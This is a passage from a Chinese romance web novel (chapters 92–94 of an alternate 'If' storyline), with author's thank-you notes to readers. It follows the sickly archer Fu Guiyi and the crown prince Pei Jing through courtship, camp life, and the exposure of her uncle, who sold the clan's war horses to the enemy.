* 傅归荑回到自己的帐篷里,没过多久药便送了过来。 热气腾腾的黑色药汁,她闻着味儿就知道有多苦。 “放那,一会儿凉了我在喝。” 送药的除了傅归荑的贴身丫环,还有接了药方的士兵。 “傅小姐,太子殿下让我看着你喝完。”士兵紧张得声音干巴巴的,神情局促不安。 傅归荑皱着眉,她不想难为其他人,屏气皱眉一口喝下。 熟悉的苦药味瞬间蔓延整个味蕾。 “好了,你回去交差罢。”傅归荑喝得干干净净,脸上表情始终淡淡的,无法辨出喜怒。 士兵的脸色如蒙大赦,喜笑颜开地端着空碗走了。 贴身丫环走过来,手里捧着一包黄油纸。 “这是什么?” 丫环回:“那人刚刚塞给我的糖,据说是南陵特产,小姐尝尝,压压嘴里的苦味。” 傅归荑鬼使神差捏了一块放进嘴里,比蜜还甜的糖须臾之间驱走难熬的苦涩味。 很久以后她偶然得知,这糖出自南陵皇宫御膳房,用的是一种特殊的蜂蜜,唯有皇子每年有一些分例。 另一厢,裴璟听人汇报了傅归荑的情况,挥手屏退,眉头却不由自主地皱了起来。 他叫人去查了那张药方,发现是治疗心疾而非什么安神补气的方子。 傅归荑有心疾。 裴璟听后的心莫名堵了下。 心疾可轻可重,重则恐影响寿数,她年纪轻轻,怎么会有这种病? 忽然又想到她是双生子,裴璟的视线转到躺在床上的傅归宜,他平日里活蹦乱跳的,仿佛有用不完的精力,同为双生,为何他一点事儿都没有。 裴璟压下这个疑问,皱着眉坐在一旁的桌前看前方战报。 这次他退下来隐在幕后,还命人将“南陵太子重伤濒死”的消息放了出去,为的是让北蛮放松警惕。 裴璟在北蛮为质十年,十分清楚如今北蛮朝堂里的局势。掌握兵权的兵马大元帅刚愎自用,目中无人,骤然听闻这个消息定会被胜利冲昏头脑,不管不顾乘胜追击。 等他倾巢而出,城内守卫必然空虚,届时他们的人打他个出其不意。 这一次,裴璟一定要拿下号称北蛮最坚固的城池,从此北蛮再也无人能阻拦南陵大军。 转眼,裴璟在傅家后方大本营已经停留三天。 傅归宜的高热逐渐褪去,伤口也开始愈合。 每日傅归荑都会过来替她哥哥换伤药,喂汤药,擦拭身体,不过她都等裴璟外出议事后再来,刻意避开他。 等她离开回到自己营帐不到半刻钟,属于她的药便到了,还有一包南陵的糖。 第四日,傅归荑照例等裴璟离开傅归宜的营帐才带着东西来。 收拾好哥哥,她起身准备离开,裴璟恰好掀帘而入。 两人同时定在原地。四目相对,傅归荑率先移开视线,垂眸福了个身:“问太子殿下安,我先告退。” 傅归荑低头快步从裴璟身边走过,擦肩而过时,她听见他冷淡的声音。 “你为什么躲我?” 傅归荑身体一顿,抿着唇低声道:“太子殿下多虑了,只是孤男寡女共处一室有碍殿下名声。” 裴璟目光灼灼看着傅归荑晕红的侧脸,这些天心里的焦躁瞬间消散。 自从猜到她可能有心疾,裴璟总会莫名心慌。他不知不觉关注起傅归荑的身体情况,害怕她某一日倒在无人知晓的角落,就此凋零。 他理智上知道这是不可能的事情,傅家父子两人对这位傅小姐的宠爱程度他略有耳闻。 傅归宜重伤摔下来后被救起的第一句不是问自己伤势如何,而是叮嘱他父亲好好照顾妹妹。 “记得喝药。”裴璟察觉到自己的声音过于冷硬,放软了语调补了句:“苦也要喝,对你身体好。” 他这几日把药方送回南陵,勒令太医院的太医们研究是否还有改进之处。 是药三分毒,况且游牧部族治疗疾病讲究一个快准狠,用药猛烈。 病来如山倒,病去如抽丝,心疾是一种需要细心长期调理的病。 游牧部族的医术大部分都是口口相传,靠经验和记忆传承,但是谁能保证在传承过程中不出差错。南陵医术传承则依赖于书籍,已有千年历史。 宣安帝怕死求长生,太医院汇聚全南陵最好的大夫,裴璟希望能找到根治傅归荑心疾的方法。 傅归荑听后耳根子悄悄热了起来,怎么听上去自己好像是需要哄的小孩子。 “知道了,多谢殿下的糖。”傅归荑声音落落大方,“您有心了,不过……” 她话还没说完,傅归宜骤然咳了起来。 傅归荑后面拒绝的话被打断,她连忙返回床榻查探哥哥的情况。 “阿荑,你怎么样了?”傅归宜一睁眼,对上自己的宝贝妹妹担忧的眼,实际上他心里更担心傅归荑的身体情况。 这次自己受这么重的伤,阿荑一定也不好受。 “我没事。”傅归荑眼眶霎时红了起来,“哥哥还有什么不舒服的地方,我马上叫人来。” “不必。”傅归宜经过四天的修生养息,身体除了有些乏力,其余都好。 “是我连累你了,”傅归宜看着傅归荑青黑的眼底,小脸瘦了一圈,愧疚怜惜道:“哥哥太大意,我跟你保证下次绝不会了。” 傅归荑摇摇头,闷闷道:“哥哥没事就好。” 裴璟在一旁听着兄妹二人的对话,陷入沉思。 等傅归荑走后,他开门见山问傅归宜。 “你说‘你连累她了’是什么意思。” 傅归宜倚靠在床头深呼了一口气,傅归荑走后他那副沉稳好哥哥的样子瞬间变得吊儿郎当,语气懒懒地:“我们是双生子,有心灵感应。” 裴璟诧异地看了他一眼。 “我如果受重伤,她也会有感觉。”傅归宜语气有些自责:“这次是我托大了,害得阿荑也跟着受罪。” 裴璟一点就透,傅家兄妹因为双生的原因,一方受伤,另一方也会跟着有反应。傅归荑的心疾是因为傅归宜,而不是先天从娘胎里带出来的。 知道到这点后,裴璟心下稍安。 他忽然冒了一句:“难道没办法切断你们之间的关联吗?” 这次换成傅归宜诧异:“好好地,为什么要切断我们之间的感应。” 裴璟脱口而出:“战场刀剑无眼,你若再受伤,她岂不是白白跟着受累。” 傅归宜表情凝滞片刻,奇怪道:“你们认识么?你怎么忽然关心起我妹妹?” 他不记得两人有过接触,听裴璟话里的意思,好像自己是妹妹的累赘似的。 裴璟掩饰性地假咳一声,“你昏迷的时候她来替你换的药,这几日也是她在照顾你。” 他选择性的忽略第二个问题。 傅归宜一听,脸上混杂感动和自责:“辛苦她了。” 裴璟冷冷补了句:“你能自己动手就不要麻烦她,你们两个到底男女有别,也不好太过亲密。” 傅归宜越听越不对劲,疑惑地看向裴璟没什么表情的脸,“她是我亲妹妹,我们兄妹两个感情好,你这么操心做什么?” 傅归宜生性率直,面对人人畏惧的裴璟也是有话直说。他知道裴璟是个极其理智,非心胸狭窄之人,不会因为这种无关痛痒的小事责怪他。 他隐隐有种感觉,裴璟喜欢他不藏着掖着的性子,他似乎把自己当朋友。 当然,有外人在场时,他不会这样怼裴璟,反而会支持他的一切决定。 傅归宜是心直口快,不是脑子缺根弦,什么场合该做什么事,他心里门清。 比如现在只有两人在场,他说话随意散漫,连礼也懒得行。 裴璟神色如常,“南陵有‘六岁不同席,七岁不同堂’,你不为自己考虑,也要为她名声着想……” “这里又不是南陵!”傅归宜打断他:“我头疼……” 他的身体滋溜一下跟泥鳅似地滑下去,手一扯被衾盖过头,一副非暴力不合作的欠揍样。 裴璟轻描淡写地看了眼榻上鼓起的一团,大步流星走出去。 等到帐内无人,傅归宜才掀开被子。 其实裴璟说的他何尝不知道。可是在他眼中,妹妹永远是每天在帐篷里乖乖等他回来的小团子,他一点也不想有人跟他抢妹妹。 这些年他故意不说破,其实就是想告诉部落里那些觊觎妹妹的男人们,别对她出手。 在傅归宜眼里,他们没一个能配得上自己妹妹,只有他最会照顾傅归荑,交给谁傅归宜都不放心。 今日天气晴朗,裴璟处理完事务后在营帐附近随意走动。 忽然听见前方的树林里有箭羽声。 他脚步一转往密林里走,远远看见傅归荑一个人在里面射箭。 “咻——” 又一只命中靶心。 裴璟观察片刻,傅归荑射箭的姿势其实并不标准,甚至有些随意。 然而箭靶上的每一支箭都稳稳扎在中心。 或许是此处无人,她周身透着几分慵懒洒脱,与傅归宜在某一刻有些神似。 裴璟的视线太过具有侵略性,傅归荑几乎没过多久就发现了他。 “太子殿下,请问有什么事吗?”她瞬间收起散漫,谨慎地望着裴璟,手里的弓反射性地藏在背后。 这是一种本能地不信任与警惕。 裴璟不动声色地皱了皱眉,快到傅归荑来不及捕捉他眉眼间闪过的失落。 “无事。”裴璟很快收拾好自己的心情,面色如常走过来:“你哥哥嫌我在帐内吵他休息,赶我出来走走。” 傅归荑赶紧替哥哥打圆场:“是我考虑不周,应当为殿下单独准备一个帐篷,哥哥打扰您休息了,我替他赔个不是。” 裴璟轻笑了声:“和你开个玩笑,瞧你紧张的,我有这么可怕吗?” 傅归荑眼眶微张,轻啊了一声,似乎没想到裴璟是会开玩笑的人。 “现在战事吃紧,资源匮乏,不必为我另外准备。”裴璟转移话题:“方才我看你射箭举重若轻,很厉害。” 傅归荑脸颊微热,弓藏得更深,羞赧地垂眸道:“雕虫小技罢了,让殿下见笑。” 裴璟摇头否认,语气认真:“这不是在夸你,我说的是事实。射乃君子六艺之一,你的箭有大将之风。” 傅归荑耳根子烧得滚烫,谦虚道:“听闻殿下射艺不凡,我不过是班门弄斧。” 裴璟实事求是:“不,我不如你。” 傅归荑脑子有些懵,微微倒吸了口凉气。她惊讶地抬眸望向裴璟,但见他双眸幽黑,平静无波,神色坦坦荡荡。 世上男子鲜少如他一般,愿意大方承认自己不如一个女人。 更何况他还是南陵的太子,她对裴璟的狠厉果断略有耳闻,还以为他是个高高在上,骄矜自傲之人。 “你的表情为什么这样惊讶?”裴璟尽量控制表情,让自己看上去平易近人:“我说了什么冒犯小姐的话吗?如果有,我向你陪不是。” “不、没有。”傅归荑干巴巴道:“殿下过谦了。” “给我。”裴璟眉毛一挑,向傅归荑讨要弓箭。 傅归荑依言放到他手上。 裴璟搭弦拉弓,动作一气呵成,也射中了靶心,但他的脸上神情不若自己那般轻松,薄唇抿成线,认真地瞄准目标。 “看出来了吗?”裴璟把弓箭还给她。 傅归荑小心观察裴璟的举止神态,发现他是在诚恳地显露自己的弱点,轻轻嗯了声。 “太子殿下用力过猛,对于近距离瞄准会有偏差,但远射我未必是您的对手。”傅归荑给出中肯客观的意见。 裴璟察觉傅归荑渐渐放松全身,轻勾唇角:“多谢傅小姐指点。” 傅归荑直言不敢,抬眸悄悄看了一眼裴璟,目光刚好被他捉住,心里一紧又快速转到一边。 气氛好像有些奇怪,有点闷却又不是喘不过气来的压抑。 傅归荑与男子相处的经验实在很少,接触最多的是她的父兄。 接触……脑子里忽然想起那日自己摔倒在裴璟身上的事情,浑身瞬间滚烫,右手倏地紧握成拳放在胸口。 裴璟发现傅归荑又开始浑身紧绷,扫到她微蜷的五指,登时意识到她在紧张什么。 然而意识到后,他便不由自主地回忆起那日的场景,以及手中不小心接住的柔嫩之物。 他很想忘记,却偏偏记得愈发清晰。 裴璟的呼吸变得有些紊乱、炙热,他猛咳一声压下喷薄而出的绮思,打破尴尬的气氛,同时微微侧了侧身。 “傅小姐箭术出众,瑰姿艳逸,不必妄自菲薄。部落里能出得傅小姐这样的人才,实乃大幸。”裴璟声音低沉,暗自在心里补了句身段姣好,体态玲珑。 傅归荑扯了个淡淡的笑,正准备告辞离开。 裴璟敏锐地察觉到她的心情一下子低落不少,眉眼间闪过稍纵即逝的阴郁。 他纳了闷,刚刚说的话并无不妥,为何她面色不愉。 裴璟往日的察言观色似乎在傅归荑身上完全失了准头,内心升起浓浓的疑虑。 在她离开时,裴璟伸手拦住她的去路,“我初来贵部,若是有什么地方触犯小姐禁忌,还望明示。” 他的目光诚恳坦然,傅归荑丝毫没有觉得被冒犯。 或许是憋在心里太久,亦或者裴璟表现得与传闻中截然不同,他周身的气势令她感到安全。 傅归荑忽然说出自己从未对父兄,乃至母亲表露的情绪。 “除了家人,大家只会觉得我是个麻烦。” 傅归荑的双眸黯淡下来,声音闷闷的。 裴璟当即反驳:“怎么会?傅小姐这样的箭术,在南陵万中无一。若你肯屈就,我愿意以重礼请小姐指点南陵士兵的箭术。” 傅归荑眼眸微动,淡淡道:“我身体孱弱,恐怕还没说上两句话,人就要病倒,太子殿下可别做亏本的买卖。” 裴璟笃定道:“得傅小姐一句,足以抵万金。” 他的声音坚定有力,目光坚毅,如有实质般穿过傅归荑急速跳动的心。 作者有话说: 裴璟:你看我配吗? 傅归宜:呸! 感谢在2023-12-14 11:53:40~2023-12-16 20:11:38期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:Maria 10瓶;鄢弥 8瓶;摇光 6瓶;时宜事宜、ann_coffe 5瓶;夕颜、鹤山 2瓶;越水、如是、万能椰子油、57888784、长在树上的猫、应如是、54280631 1瓶; 非常感谢大家对我的支持,我会继续努力的! 93 If线3 ◎这个,算我们两个人之间的秘密。◎ 夏日无风, 丛林里弥漫着燥热的气息,蒸腾着傅归荑全身。 “太子殿下谬赞。”傅归荑别过脸,婉言拒绝。 裴璟不再强求。 两人并肩而行往回走, 裴璟忽然问起傅归荑双生子之间感应一事。 不是他不信任傅归宜, 只是他更喜欢多方求证, 尤其是他想听听傅归荑真实的想法。 裴璟问她:“既然你们之间有这样的羁绊, 一损俱损, 为何你不阻止他去前线?” 傅归荑道:“我们是牵绊而不是羁绊。哥哥有他想做的事情, 不必为我龟缩于一方天地之中。” “哪怕他会受重伤,连累你也痛苦?” 面对裴璟的问题,傅归荑语气平稳:“正是因为哥哥知道如果他受伤, 我也会痛苦, 所以在冲锋陷阵时他不会莽撞行事。” 傅归宜的性子跳脱,做事无所顾忌, 傅归荑恰好能牵住他的胆大包天。 裴璟笑道:“怎么说得好像你天生克他似的?” 傅归荑跟着笑,“谁说不是呢?” 她唇边笑意清清淡淡的,阳光通过树叶间隙照在她瓷白如玉的肌肤上,眼珠黑亮清透,睫毛在空中扑腾。 扑腾着,扑腾进了裴璟的眼里,又印在心上。 “傅归宜这次受伤,是我让他去当登先的,你会怪我吗?”裴璟忽然冒出一句。 傅归荑先是一愣, 继而摇摇头:“当然不会。上了战场,他唯一的身份只有士兵, ‘将有令, 莫敢不从”, 太子殿下选他必然有您的考量。况且若是哥哥不服,依他的性子恐怕不会乖乖听话。” 傅归荑表情诚恳坦然,毫无惺惺作态之色,双眸看过来的时候闪着动人的水光。 裴璟知道,自己对她已经不是单纯地欣赏了。 明事理,懂进退,遇事从容不迫。 裴璟眼皮微压,喃喃道:“你更适合另一个身份。” “什么?”傅归荑没听见裴璟后面的话,眼神疑惑。 裴璟张口,还未编好理由,傅归宜蹭地一下钻到两人中间。 “阿荑,你去哪里了?”傅归宜敷衍地朝裴璟颔首行礼,转过头拉住傅归荑的手臂往她营帐走:“我给你带了个好东西。” 傅归荑抱歉地看了眼裴璟,跟傅归宜走了。 裴璟站在原地,目送两兄妹离开。 晚上,傅归宜笑吟吟回到自己营帐内,裴璟正坐在书桌前挑灯批文。 “给你准备了一个新帐篷,收拾一下搬过去……” 裴璟本想拒绝,然而傅归宜又来了句:“位置离阿荑有些近,你注意别吵阿荑睡觉。” 裴璟嘴边的“不用”字活生生转成了“好的”。 不用傅归宜催促,裴璟麻溜地收拾东西走人。 走进新的营帐,里面空间很大,该有的日常物件一个不缺,一应都是崭新的。 书桌上,袅袅升起檀香烟气。 裴璟闻到熟悉的味道,唇边绽开一抹化不开的笑意。 傅归荑,实在是……甚得他意。 “小姐,二族长今日又来讨要银钱,他真是贪得无厌。”隔壁营帐里传来愤懑不平的女声。 “噤声!”傅归荑低斥道:“以后不许说这种话。” 丫环委屈地闭了口。 裴璟的营帐靠着傅归荑右侧,此时他正在继续处理白日未完成的政事,不小心将主仆二人的对话听入耳中。 傅归宜偶然提过一两句,他妹妹在傅家大本营里协助她母亲管理日常事务,包括物资调配,银钱出入。 两人口中的二族长是他们父亲的同父异母的弟弟,负责族里马匹的驯养。 听起来,这个二族长与傅归荑似乎有些龃龉。 傅归宜自然不会将自家的丑事抖落出来,裴璟更不会胡乱插手别人的家务事,一时间他也听不出个所以然来。 但他默默记下了主仆二人的话,决定找个时间打听一番,或者将今夜的事透露给傅归宜一二。 太医传回来的信里写道傅归荑身子弱,尽量少劳心累神,反正傅归宜精力无限,他一时半会也回不去前线,不如给他找点事情做。 裴璟不知不觉已经将傅归荑纳入自己人的范围。 月上中天,裴璟从案牍中抬首时往旁边看了眼,傅归荑的帐篷早已熄灯。 他吹灭蜡烛,起身走到帐篷其中一面负手而立。 裴璟的双眸在黑夜里闪烁,视线像要穿透层层阻拦的屏障,落在傅归荑身上。 寂静的夜,他的心却一点也不平静,如同聒噪的蝉鸣在嗡嗡躁动不平。 脑海里自动回放着今日傅归荑说的每一句话,每一个表情,每一个动作,一遍又一遍,刺激着裴璟兴奋的神经。 他全身的血液沸腾不止,如果此时割开一道口子,流出来的血一定会凝聚成傅归荑三个字。 黑暗里,裴璟撕破了白日里谦和仁善的伪装,毫无掩饰地展露对傅归荑势在必得的欲.望。 越想越喜欢,越喜欢心越痒,他恨不得现在把人抓过来放在身边寸步不离地看着。 然而最终,他只是扬起头,闭上眸,深深吸了一口气。 * 傅归宜的伤好得很快。分明前几日还半死不活,现在像是床榻上长了针似的,一刻也坐不住。他好几次都向裴璟请命回战场,被轻飘飘挡了回去。 他要制造自己重伤难治的假象,傅归宜作为他左右手此时应该是在照顾他,不能出现在前线。 于是傅归宜可劲地造作大本营里的人,好巧不巧又跟傅家二族长对上了。 裴璟听见有争吵声往营帐这边走过来时,傅归荑正闭上眼坐在两个大男人中间,手指有一下没一下地揉搓着额角,看上去有些不耐烦。 “叔父,你怎么养死了这么多马?”傅归宜讥讽道:“要不还是让邓意来负责,他年轻能吃苦,不觉得养马是下贱活。” 二族长一直想取代傅归荑,掌握族内物资银钱的调度。可他生性贪婪,他们父亲始终不松口,因此他们的叔父总会变着法找妹妹的麻烦,为了证明她做不好这件事,逼她退位让贤。 然而二族长没想到,傅归荑这一副走三步路就要喘的身体,硬生生挺了几年都没出一点差错,处理事务愈发娴熟,他找茬也变得困难。 “你怎么跟我说话的。”二族长气得脸红耳赤,指着傅归宜骂:“别以为你是少族长就能目无尊上,小心我……” “你能怎么样?”傅归宜吼他:“说话小点声,别吓到阿荑,吓坏了十个你也赔不起。” 傅归荑头更疼了,端起一旁的茶抿了口,已经凉透,她又放了下去。 父亲碍于兄弟之情,对叔父在族里中饱私囊的事情睁一只眼闭一只眼,只要他不过分也就过去了。 但是这次死了一千匹战马,事情太大,傅归荑不能像以往那样拨钱去补这个亏空。这里面不但涉及银钱的事情,还涉及到后续与北蛮作战的计划。 尤其是裴璟现在还在大营里,她更不想闹大。原本计划是先压下这件事,等裴璟走后再调查。 另外她已经叫邓意去附近的游牧部族重新采购战马,这几日便会送到。 无论如何,要先保障父兄在前线作战的一切需求。 她这几日对叔父以安抚为主,谁料今天叔父再次来讨要银钱买马的时候被哥哥撞上了。他们本来就不对盘,现在更是因为这件事吵得不可开交。 在族内,二族长被他亲哥哥压一头也就罢了,这两个乳臭未干的臭小子臭丫头也敢敷衍他,口不择言道:“怎么,你们有钱给这病秧子治病,没钱买马吗?” “你住口!”傅归宜像个被点着的炮仗似的,捞起袖子准备朝二族长挥拳,被傅归荑急忙拉住。 二族长看他炸了毛,胸口憋的恶气散了不少,心里舒爽。 他故意指着傅归荑继续冷嘲道:“她从小到大,治病不知道花了族里多少金银,别说一千匹战马,便是一千匹种马也能买来。” 二族长看傅家兄妹两的脸色越来越难堪,他说得更加起劲:“我早就说过,这种累赘应该赶紧嫁出去,换些实在的东西回来。她现在瞧着好歹有几分姿色,别等过了年纪,连一匹母驹都换……” 傅归荑将手边凉透的茶盏果断泼过去,打断二族长的污言秽语。 “你……”二族长抹了把脸上的水珠,怒气横生地瞪着傅归荑,眼球突出,俨然下一刻就要冲上来打人。 傅归宜立刻上前一步挡在妹妹面前,手握住腰侧的短刀,脸色冷肃。 气氛忽然变得剑拔弩张。 傅归荑冷冷道:“叔父,近来日头大,你晒晕了不成,怎么开始说胡话了。” 二族长被她一个小辈教训,脸上挂不住,怒斥道:“难道我说的不是事实?若不是你命好投生成族长的女儿,早在你出生的时候就该被扔掉。” 游牧部族早已习惯四海为家,对族人的身体素质要求格外高,每年能存活下来的幼婴只有三成。 当初傅归荑生下来时呼吸微弱,与啼哭不止的傅归宜形成鲜明对比,大伙都以为她活不下来,但她的母亲坚持带上她一起迁徙。日日夜夜悉心照料,方才捡回一条命。 傅归荑长大过程中大病小病不断,直到今天都需要每日服药。 她先天孱弱,药方里大多数是名贵的滋补之物。 简言之,烧钱。 傅归荑早已习惯他的冷言冷语,语气十分平淡:“谁叫我命好。叔父若不是运气好成为我父亲的兄弟,今日又如何能在这里大言不惭。容我提醒你,南陵太子如今正在大营内,若是事情闹大,谁也没有好果子吃。” 她这个叔父好高骛远,心比天高,一直觉得父亲只是因为占了长子的名头才得到族长之位。他自己没什么本事,凡是只会动嘴,一点子骨头都没有。 之前他被北蛮人抓住,还没怎么施压于他,二族长忙不迭把傅家扎营的位置暴露出去,连累他们与北蛮苦苦纠缠一番。 后来是他的母亲苦苦哀求父亲才留下他一条命,不过罚他当众受三十鞭,想必他一直怀恨在心。 傅归荑对他连敬语都懒得使用,直接警告二族长别轻举妄动。若是被裴璟知道因为他的原因导致战马供给不上,到时候被追责,傅归荑绝不会包庇他。 二族长听到“南陵太子”四个字后瞳孔微缩,裴璟杀伐狠厉的名声在外,他实在不敢触其霉头。 他这么着急要钱,也是怕裴璟怪罪下来,到时候连他哥哥都保不住他。 二族长虚张声势道:“你知道南陵太子在这里,还不赶紧给我钱去买新马,到时候被他发现端倪咱们都别想置身事外。” 傅归荑眼皮都没抬,“我乏了,叔父请回,好走不送。” 二族长碰了个狠钉子,还想再争一争,被傅归宜狠狠一推:“叔父,妹妹说她累了,你有事要不跟我说?” “你……”二族长被他差点推倒,脸色铁青地看了两兄妹一眼,黑沉着脸拂袖而去,临走时还刺了一句:“弱者迟早被淘汰,看你妹妹能活到什么时候?” 傅归宜最听不得这种诅咒傅归荑的话,当下就要朝他挥拳,被傅归荑拦住。 等人出去后,傅归宜的胸口还在急剧上下起伏。 “哥哥,何必与他置气,当心气坏了身子。”傅归荑殷切地给傅归宜新沏了杯茶,温度刚刚好。 傅归宜接过,皱着眉道:“下次他再来,你直接轰出去。自己闯的祸,他自己收拾烂摊子去。” 傅归荑弯了弯眼睛,柔声道:“知道了,哥哥。我看上去像个大善人么?” 傅归宜眉头舒展,笑着揉了揉她的脑袋,“他的话你别放在心上。阿荑你该吃吃,该喝喝,千万别想着节省,想要什么哥哥都会给你弄来。” “你才不是累赘,你是我们家的掌上明珠。” 傅归宜默默补了一句:是我永远要守护的妹妹。 大概是七八岁的时候,傅归宜外出跟随父亲打猎,傅归宜养的一只燕隼被当成猎物射死了,等他寻过去后看见鸟被一支箭贯穿全身,钉在树干上。 射出这只箭的人是一个同岁的男孩,他抱歉地说自己误射了。 傅归宜想当场活刮了他,然而他什么也不能做。 他默默把箭拔下来时,接住冰冷尸体瞬间,一滴温热的泪落在掌心,与他的眼眶一样热。 这只傻鸟是他在密林里捡到的,救回来的时候已经奄奄一息。他一直觉得这只鸟烧坏了脑子,不然怎么连普通的麻雀也害怕,天天只会瞪大眼睛,扑腾翅膀在他怀里打滚卖萌只为一口吃的。 然而就是这样一只蠢笨的鸟,竟然敢拼死与毒蛇搏斗。某天晚上一条蛇不知怎么钻进了傅归宜的帐篷里,正要爬上床榻时,燕隼忽然飞了过来,狠狠啄透蛇的七寸。 第二天早上傅归宜醒来的时候吓了一跳,大叫一声,那只傻鸟直接被他的声音吓得翻了白眼。 射中鸟的人似乎知道自己犯了大错,哭着拼命道歉,差点要给他下跪。 傅归宜身为少族长,除了原谅做不了任何事。 他偷偷埋葬了傻鸟,装作无事发生地继续过日子,只是他再也不养鸟了。 然而某一天他睡觉时,发现塌上放了只与傻鸟一模一样的标本,每一根羽毛都是傻鸟之前胡乱扑腾时掉落的。 他的营帐除了父亲母亲,只有妹妹会进来替他收拾。 傅归宜红着眼往傅归荑的帐篷里跑,傅归荑似乎知道他会来,浅浅笑着说了一句:“乐乐会一直陪着哥哥,就像我一样。” 乐乐是傅归荑给傻鸟取的名字,因为它看上去每天都很快乐。 傅归荑仰头笑意更甚:“今晚上我就拿那支百年老参炖汤,和哥哥一起喝。” 傅归宜的回忆被打断,眉眼弯弯:“你多喝些,我再给你寻更好的。” 傅归荑扬唇点头。 兄妹两人在帐内有说有笑,二族长的心却绷得如同拉满的弓弦。 他一出营帐就看见南陵太子站在不远处,裴璟仅仅只是瞥了他一眼,脚底的寒气不由猛地蹿上天灵感,冻得他头皮发麻。 二族长呼吸微窒,梗住脖子低着头绕开裴璟十丈范围。 南陵太子的目光如有实质般穿透他全身,他心底的秘密仿佛在裴璟面前无所遁形。 不可能,他不可能知道自己做的事情。 二族长走到看不见裴璟的地方才停下僵硬的腿,手轻轻拍着胸口顺气。 裴璟很快打听出今日在帐篷里三人的对话,还打听到二族长与傅家兄妹的矛盾。 他又为傅归荑加上了一条“顾全大局”的优点。 一千匹战马不是个小数目,眼下正是双方战局的关键时刻,裴璟不能容忍一点错误,但他也不想与傅家撕破脸。 比起问责,裴璟更需要解决之法,傅归荑的偷梁换柱正是两全之策。 若是她将事情闹大,便能顺理成章地将这个二族长除去,最少也能卸掉他现有的权利和毁了他的名声。然而傅归荑却选择隐瞒下来,因为她清楚二族长的失误代表的是整个傅家的失误。 一荣俱荣,一损俱损。 傅归荑不因自己私人恩怨趁机铲除异己,光是这份胸襟气度,要叫多少自称英雄豪杰的男儿汗颜。 往后数日,裴璟装作一无所知,安心养伤。 傅归荑每日都会给他和傅归宜送来滋补的乌鸡炖山参,除此之外还单独为二人准备特质的药膳,他们的伤在飞速痊愈的同时,前方终于传来城破的好消息。 北蛮号称最坚固的城池被攻破,北蛮兵马大元帅战死,南陵的旗帜插满整座城楼,迎风飞扬。 那天晚上,整个傅家营地欢声笑语,喜气连天。 带人破城而入,斩北蛮大元帅头颅的正是他们的族长。 夜里的篝火宴会盛大非凡,留在大本营里的族人们载歌载舞,脸上全是自豪骄傲。 傅归荑坐在角落里,手肘撑在膝盖上,脸搭在虚虚握拳的双手中央。 高耸入云的火光分了些余晖照在她的脸颊上,铺了两团淡淡的橘黄。她的眼眸里虽然含着烈火,周身气质却沉静冷肃,后半边身子藏在阴影里,略显寂寥。 裴璟悄悄走到她旁边一个拳头的距离坐下来。 “有心事?”裴璟的语气漫不经心,似乎只是随口一说。 傅归荑乍一听,脸色忽变,差点吓得跳起来。 “我有那么可怕么?”裴璟眉头微挑,侧目望着她。 冲天的火光落在他的侧脸上,平添一份温和近人,傅归荑惊讶地发现他眼里藏着笑意。 “没,我只是在想事情。”傅归荑察觉到自己一直盯着裴璟看,耳根一热,快速转过头。 她刚才在心里庆幸又后怕。 庆幸的是邓意不负她所托,买到足够的马匹及时送往前线,没有延误战机,才有这一场巨大胜仗。 后怕自己擅做主张,若是最终没有买到,万一父亲因此处于劣势受伤,甚至……死亡,她真是万死不足以谢罪。 是以傅归荑完全无法像其他人那般完全融入到胜利的喜悦中。 “我能知道,你的心事吗?”裴璟开门见山:“这些天有劳傅小姐的悉心照料,我不胜感激,或许我能为你做些什么?” 裴璟的嗓音在夜风里有些沙哑,带着撩人的磁性,又好像有种让人无法拒绝的力量。 傅归荑先是愣了一下,旋即迅速反应过来,扯了个淡淡的笑容:“多谢太子殿下关心,只是些琐事罢了。” 裴璟听出傅归荑语中的拒绝之意,也没强求,反而与她聊起了南陵的趣事。 不知不觉,两个人聊了近一个时辰。 大部分时候都是傅归荑在听,裴璟在说。 他的嗓音不急不缓,娓娓而来,傅归荑听得入了迷,目光渐渐从防备转成渴望。 她渴望探索这个世界。 从小大部分时光都在床榻上度过,傅归荑偶尔能从哥哥的转述中和一些书籍了解帐篷外的世界。 等她病情稳定能下榻走出去看看时,南北战争一触即发,她的活动范围从帐篷扩大到营地。 他们总告诉傅归荑,外面很危险。 傅归荑懂事,从不越雷池半步。 书籍是珍贵之物却不是生活必需品,族里现存的不多,傅归荑早就倒背如流。 今日裴璟的话,让她对南陵的民俗文化萌生出浓厚的兴趣。 “傅小姐,我明日离开。”裴璟目光灼灼望着傅归荑。 “预祝太子殿下旗开得胜,心想事成。” 心想事成。 裴璟扯出一抹意味深长的笑容:“傅小姐,临别前我有个东西想送给你。” 傅归荑怔怔望向手里的信,耳畔边回响着裴璟的话。 “这个,算我们两个人之间的秘密。” 作者有话说: 最近做了一个小手术,所以更新慢了点,一定不会留到明年,本月会全文完结。 矛隼:又名海东青、白隼,大型猛禽,体重1300-2100g。 燕隼:小型猛禽,是海东青体型的三分之一左右,体重140-360g。 手动感谢投出地雷的小天使:鄢弥 1个; 手动感谢灌溉营养液的小天使: 30722218 29瓶; 米酒配牛奶 21瓶; Mni 10瓶; 70380724 10瓶; 过期气泡水 5瓶; 如是 1瓶; 夕颜 1瓶; 万能椰子油 1瓶; 应如是 1瓶; 94 If线4 ◎傅归荑,我心悦你。◎ 第94章 裴璟和傅归宜趁着清晨雾还没散的时候悄悄带人离开, 傅归荑还来不及与二人告别。 傅归荑将信交给凯旋的父亲。 父亲脸色发白,眼眸震惊:“没想到他居然敢做出这种事来?” 裴璟给傅归荑的信里装了二族长与北蛮人私下交易战马的证据。那一千匹死掉的马实际上是北蛮退下来的老马,受伤的马, 真正的战马被二族长以高价卖给北蛮人, 牟取私利。 父亲夸奖傅归荑心细如尘, 顾全大局, 没有在发现的第一时间捅出来, 而是迂回想办法补全马匹, 同时封住消息没有被裴璟知晓,免了一场无妄之灾。 傅归荑听了受之有愧。 她身在大营中如何能得到叔父与北蛮人来往的书信,这一切都是裴璟安排好的, 借她的手除去二族长这个害群之马, 同时又能保住他们与裴璟面上的和睦。 若是被其他部族的人知道,傅家有人勾结北蛮, 往后他们在南陵的处境必然会尴尬,甚至成为攻讦傅家的把柄。 裴璟现在将这件事变成他们内部家务事,意在卖人情给傅家。 傅归荑心甘情愿领受,更心存感激。 过了没多久,二族长不小心马背上摔下来,半身不遂,他掌管的一应事物自然而然地交到了邓意手上。 傅归荑去探望卧病在床的二族长时带了一碗参汤。 “叔父只管喝,南陵太子送来了两大箱子滋补之物,名贵药材, 您一定会好起来的。” 